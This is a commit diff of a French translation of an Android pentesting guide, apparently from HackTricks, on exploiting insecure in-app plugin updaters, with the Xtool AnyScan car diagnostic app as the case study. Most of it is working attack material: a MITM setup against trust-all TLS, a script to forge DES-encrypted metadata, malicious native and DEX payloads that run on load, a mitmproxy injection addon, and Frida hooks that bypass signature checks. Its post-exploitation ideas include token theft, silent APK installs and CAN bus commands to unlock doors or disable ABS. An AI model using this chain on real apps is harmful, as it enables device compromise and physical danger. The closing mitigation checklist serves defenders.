Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap

This commit is contained in:
Translator 2025-08-27 04:08:49 +00:00
parent f91d8546bc
commit 5fe29531b1

View File

@ -1,16 +1,49 @@
# Mécanismes de mise à jour insecures dans l'application Exécution de code à distance via des plugins malveillants
# Mécanismes d'In-App Update non sécurisés Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
De nombreuses applications Android mettent en œuvre leurs **propres canaux de mise à jour “plugin” ou “fonctionnalité dynamique”** au lieu d'utiliser le Google Play Store. Lorsque l'implémentation est insecure, un attaquant capable d'intercepter le trafic peut fournir **du code natif arbitraire qui sera chargé dans le processus de l'application**, entraînant une Exécution de Code à Distance (RCE) complète sur le téléphone et dans certains cas sur tout appareil externe contrôlé par l'application (voitures, IoT, dispositifs médicaux…).
De nombreuses applications Android implémentent leurs propres canaux de mise à jour “plugin” ou “dynamic feature” au lieu d'utiliser le Google Play Store. Quand l'implémentation est vulnérable, un attaquant capable d'intercepter ou de manipuler le trafic de mise à jour peut fournir du code natif arbitraire ou du code Dalvik/ART qui sera chargé dans le processus de l'app, conduisant à une Remote Code Execution (RCE) complète sur le téléphone — et dans certains cas sur tout dispositif externe contrôlé par l'app (voitures, IoT, dispositifs médicaux …).
Cette page résume une chaîne de vulnérabilité du monde réel trouvée dans l'application de diagnostic automobile Xtool **AnyScan** (v4.40.11 → 4.40.40) et généralise la technique afin que vous puissiez auditer d'autres applications Android et exploiter la mauvaise configuration lors d'un engagement de red team.
Cette page résume une chaîne de vulnérabilité réelle trouvée dans l'app de diagnostic automobile Xtool AnyScan (v4.40.11 → 4.40.40) et généralise la technique pour que vous puissiez auditer d'autres apps Android et exploiter la mauvaise configuration lors d'un engagement red-team.
---
## 1. Identifier un TrustManager TLS insecure
## 0. Triage rapide : l'app dispose-t-elle d'un inapp updater ?
1. Décompilez l'APK avec jadx / apktool et localisez la pile réseau (OkHttp, HttpUrlConnection, Retrofit…).
2. Recherchez un **`TrustManager`** ou `HostnameVerifier` personnalisé qui fait confiance aveuglément à chaque certificat :
Indices statiques à rechercher dans JADX/apktool :
- Chaînes : "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Endpoints réseau comme `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Helpers crypto près des chemins de mise à jour (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders : `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Chemins d'unzip écrivant sous app-internal ou external storage, puis chargeant immédiatement un `.so`/DEX.
Hooks runtime pour confirmer :
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. Identification d'un TrustManager TLS non sécurisé
1. Décompilez l'APK avec jadx / apktool et localisez la stack réseau (OkHttp, HttpUrlConnection, Retrofit…).
2. Recherchez un `TrustManager` personnalisé ou un `HostnameVerifier` qui fait confiance aveuglément à tous les certificats :
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
};
}
```
3. S'il est présent, l'application acceptera **n'importe quel certificat TLS** → vous pouvez exécuter un **proxy MITM** transparent avec un certificat auto-signé :
3. Si présent, l'application acceptera n'importe quel certificat TLS → vous pouvez exécuter un proxy MITM transparent avec un self-signed cert :
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Ingénierie Inverse des Métadonnées de Mise à Jour
Si TLS pinning est appliqué au lieu d'une logique 'trust-all' non sécurisée, voir :
Dans le cas d'AnyScan, chaque lancement d'application déclenche un HTTPS GET à :
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Rétro-ingénierie des métadonnées de mise à jour
Dans le cas d'AnyScan, chaque lancement de l'application déclenche un HTTPS GET vers :
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
Le corps de la réponse est un **document XML** dont les nœuds `<FileData>` contiennent des JSON **encodés en Base64 et chiffrés en DES-ECB** décrivant chaque plugin disponible.
Le corps de la réponse est un document XML dont les nœuds `<FileData>` contiennent Base64-encoded, DES-ECB encrypted JSON décrivant chaque plugin disponible.
Étapes typiques de recherche :
1. Localiser la routine crypto (par exemple, `RemoteServiceProxy`) et récupérer :
* algorithme (DES / AES / RC4 …)
* mode de fonctionnement (ECB / CBC / GCM …)
* clé / IV codés en dur (souvent des clés DES de 56 bits ou des clés AES de 128 bits dans des constantes)
2. Réimplémenter la fonction en Python pour déchiffrer / chiffrer les métadonnées :
Typical hunting steps:
1. Localisez la routine crypto (e.g. `RemoteServiceProxy`) et récupérez :
- algorithme (DES / AES / RC4 …)
- mode d'opération (ECB / CBC / GCM …)
- clé / IV codée en dur (généralement constantes DES 56bit ou AES 128bit)
2. Réimplémentez la fonction en Python pour decrypt / encrypt les métadonnées:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
Notes seen in the wild (20232025) :
- Les métadonnées sont souvent du JSON-within-XML ou protobuf ; des algorithmes de chiffrement faibles et des clés statiques sont fréquents.
- De nombreux updaters acceptent HTTP en clair pour le téléchargement du payload, même si les métadonnées transitent via HTTPS.
- Les Plugins décompressent fréquemment dans le stockage interne de l'app ; certains utilisent encore le stockage externe ou l'ancienne option `requestLegacyExternalStorage`, permettant la manipulation inter-app.
---
## 3. Créer un plugin malveillant
1. Choisissez n'importe quel plugin légitime en ZIP et remplacez la bibliothèque native par votre payload :
### 3.1 Chemin de la bibliothèque native (dlopen/System.load[Library])
1. Prenez n'importe quel ZIP de plugin légitime et remplacez la bibliothèque native par votre payload:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Mettez à jour les métadonnées JSON afin que `"FileName" : "PWNED.zip"` et que `"DownloadURL"` pointe vers votre serveur HTTP.
3. Chiffrez en DES + encodez en Base64 le JSON modifié et copiez-le à l'intérieur de l'XML intercepté.
2. Mettez à jour les métadonnées JSON de sorte que `"FileName" : "PWNED.zip"` et `"DownloadURL"` pointent vers votre serveur HTTP.
3. Ré-encrypter + encoder en Base64 le JSON modifié et le copier dans le XML intercepté.
## 4. Livrer le Payload avec mitmproxy
### 3.2 Chemin de plugin basé sur Dex (DexClassLoader)
`addon.py` exemple qui *silencieusement* échange les métadonnées originales :
Certaines applications téléchargent un JAR/APK et chargent du code via `DexClassLoader`. Construisez un DEX malveillant qui se déclenche au chargement :
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
Si la cible appelle `Class.forName("pwn.Dropper")`, votre initialiseur statique s'exécute ; sinon, énumérez par réflexion les classes chargées avec Frida et appelez une méthode exportée.
---
## 4. Livrer le payload avec mitmproxy
`addon.py` : exemple qui remplace silencieusement les métadonnées originales :
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
@ -89,36 +166,69 @@ MOD_XML,
{"Content-Type": "text/xml"}
)
```
Exécutez un serveur web simple pour héberger le ZIP malveillant :
Lancer un serveur web simple pour héberger le ZIP/JAR malveillant :
```bash
python3 -m http.server 8000 --directory ./payloads
```
Lorsque la victime lance l'application, elle va :
* récupérer notre XML falsifié via le canal MITM ;
* le déchiffrer et l'analyser avec la clé DES codée en dur ;
* télécharger `PWNED.zip` → dézipper dans le stockage privé ;
* `dlopen()` la *libscan_x64.so* incluse, exécutant instantanément notre code **avec les permissions de l'application** (caméra, GPS, Bluetooth, système de fichiers, …).
Lorsque la victime lance l'application, celle-ci va :
- récupérer notre XML falsifié via le canal MITM ;
- le déchiffrer et l'analyser avec la crypto codée en dur ;
- télécharger `PWNED.zip` ou `plugin.jar` → décompresser dans le stockage privé ;
- charger le `.so` ou la DEX incluse, exécutant instantanément notre code avec les permissions de l'app (caméra, GPS, Bluetooth, système de fichiers, …).
Parce que le plugin est mis en cache sur le disque, la porte dérobée **persiste à travers les redémarrages** et s'exécute chaque fois que l'utilisateur sélectionne la fonctionnalité associée.
## 5. Idées de Post-Exploitation
* Voler des cookies de session, des jetons OAuth ou des JWT stockés par l'application.
* Déposer un APK de deuxième étape et l'installer silencieusement via `pm install` (l'application a déjà `REQUEST_INSTALL_PACKAGES`).
* Abuser de tout matériel connecté dans le scénario AnyScan, vous pouvez envoyer des **commandes OBD-II / CAN bus** arbitraires (déverrouiller les portes, désactiver l'ABS, etc.).
Parce que le plugin est mis en cache sur le disque, la backdoor persiste après les redémarrages et s'exécute à chaque fois que l'utilisateur sélectionne la fonctionnalité concernée.
---
### Liste de Vérification pour la Détection & la Mitigation (équipe bleue)
## 4.1 Contournement des vérifications de signature/hash (lorsqu'elles sont présentes)
* NE JAMAIS expédier une version de production avec un TrustManager/HostnameVerifier personnalisé qui désactive la validation des certificats.
* Ne pas télécharger de code exécutable depuis l'extérieur de Google Play. Si vous *devez*, signez chaque plugin avec la même clé **apkSigning v2** et vérifiez la signature avant de charger.
* Remplacer le cryptage faible/codé en dur par **AES-GCM** et une clé tournante côté serveur.
* Valider l'intégrité des archives téléchargées (signature ou au moins SHA-256).
Si l'updater valide les signatures ou les hash, hooker la vérification pour qu'elle accepte toujours le contenu de l'attaquant :
```js
// Frida make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
Envisagez également de simuler les méthodes du fournisseur telles que `PluginVerifier.verifySignature()`, `checkHash()`, ou de courtcircuiter la logique de contrôle des mises à jour en Java ou JNI.
---
## Références
## 5. Autres surfaces d'attaque dans les mécanismes de mise à jour (20232025)
- Zip Slip path traversal lors de l'extraction de plugins : des entrées malveillantes comme `../../../../data/data/<pkg>/files/target` écrasent des fichiers arbitraires. Toujours sanitiser les chemins des entrées et utiliser des allowlists.
- External storage staging : si l'app écrit l'archive sur le stockage externe avant de la charger, toute autre app peut la modifier. Scoped Storage ou le stockage interne de l'application évitent cela.
- Cleartext downloads : métadonnées via HTTPS mais payload via HTTP → substitution MITM simple.
- Incomplete signature checks : comparer seulement le hash d'un seul fichier, pas de l'archive complète ; ne pas lier la signature à la clé du développeur ; accepter n'importe quelle clé RSA présente dans l'archive.
- React Native / Web-based OTA content : si les bridges natifs exécutent du JS provenant d'une OTA sans signature stricte, une exécution de code arbitraire dans le contexte de l'app est possible (par ex., flux de type CodePush-like non sécurisés). Assurez detached update signing et une vérification stricte.
---
## 6. Post-Exploitation Ideas
- Voler les cookies de session, tokens OAuth, ou JWT stockés par l'app.
- Déployer un APK de seconde étape et l'installer silencieusement via `pm install` si possible (certaines apps déclarent déjà `REQUEST_INSTALL_PACKAGES`).
- Abuser de tout matériel connecté dans le scénario AnyScan vous pouvez envoyer des commandes OBDII / CAN bus arbitraires (déverrouiller les portes, désactiver l'ABS, etc.).
---
### Detection & Mitigation Checklist (blue team)
- Évitez le chargement dynamique de code et les mises à jour horsmagasin. Préférez les mises à jour gérées par Play. Si les plugins dynamiques sont indispensables, concevezles comme des bundles contenant uniquement des données et conservez le code exécutable dans l'APK de base.
- Appliquez correctement TLS : pas de custom trustall managers ; déployez le pinning lorsque possible et une configuration réseau durcie qui interdit le trafic en clair.
- Ne téléchargez pas de code exécutable en dehors de Google Play. Si nécessaire, utilisez detached update signing (p.ex., Ed25519/RSA) avec une clé détenue par le développeur et vérifiez avant de charger. Liez métadonnées et payload (longueur, hash, version) et échouez en mode fermé.
- Utilisez de la crypto moderne (AESGCM) avec des nonces par message pour les métadonnées ; retirez les clés hardcodées côté client.
- Validez l'intégrité des archives téléchargées : vérifiez une signature couvrant chaque fichier, ou au minimum vérifiez un manifeste de hash SHA256. Rejetez les fichiers supplémentaires/inconnus.
- Stockez les téléchargements dans le stockage interne de l'app (ou Scoped Storage sur Android 10+) et utilisez des permissions de fichiers qui empêchent la falsification interapp.
- Défendezvous contre Zip Slip : normalisez et validez les chemins d'entrée zip avant extraction ; rejetez les chemins absolus ou les segments `..`.
- Envisagez Play “Code Transparency” pour permettre à vous et aux utilisateurs de vérifier que le code DEX/native livré correspond à ce que vous avez construit (complémentaire mais ne remplace pas APK signing).
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
- [Android Developers Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}}